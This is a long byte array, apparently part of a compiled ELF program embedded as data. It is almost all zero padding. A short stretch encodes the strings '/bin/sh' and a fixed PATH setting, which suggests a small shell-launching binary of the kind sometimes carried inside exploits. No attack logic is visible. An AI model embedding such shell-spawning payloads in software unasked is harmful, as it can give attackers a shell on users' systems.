0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
47, 98, 105, 110, 47, 115, 104, 0, 80, 65, 84, 72, 61, 47, 117, 115,
114, 47, 108, 111, 99, 97, 108, 47, 115, 98, 105, 110, 58, 47, 117, 115,
114, 47, 108, 111, 99, 97, 108, 47, 98, 105, 110, 58, 47, 117, 115, 114,
47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 98, 105, 110, 58, 47,
115, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 111, 112, 116, 47, 98,
105, 110, 0, 0, 1, 27, 3, 59, 32, 0, 0, 0, 3, 0, 0, 0,
204, 239, 255, 255, 60, 0, 0, 0, 229, 240, 255, 255, 100, 0, 0, 0,
236, 240, 255, 255, 132, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0,
1, 122, 82, 0, 1, 120, 16, 1, 27, 12, 7, 8, 144, 1, 0, 0,
36, 0, 0, 0, 28, 0, 0, 0, 136, 239, 255, 255, 80, 0, 0, 0,
0, 14, 16, 70, 14, 24, 74, 15, 11, 119, 8, 128, 0, 63, 26, 59,
42, 51, 36, 34, 0, 0, 0, 0, 28, 0, 0, 0, 68, 0, 0, 0,
121, 240, 255, 255, 7, 0, 0, 0, 0, 65, 14, 16, 134, 2, 67, 13,
6, 66, 12, 7, 8, 0, 0, 0, 24, 0, 0, 0, 100, 0, 0, 0,
96, 240, 255, 255, 118, 0, 0, 0, 0, 65, 14, 16, 134, 2, 67, 13,
6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
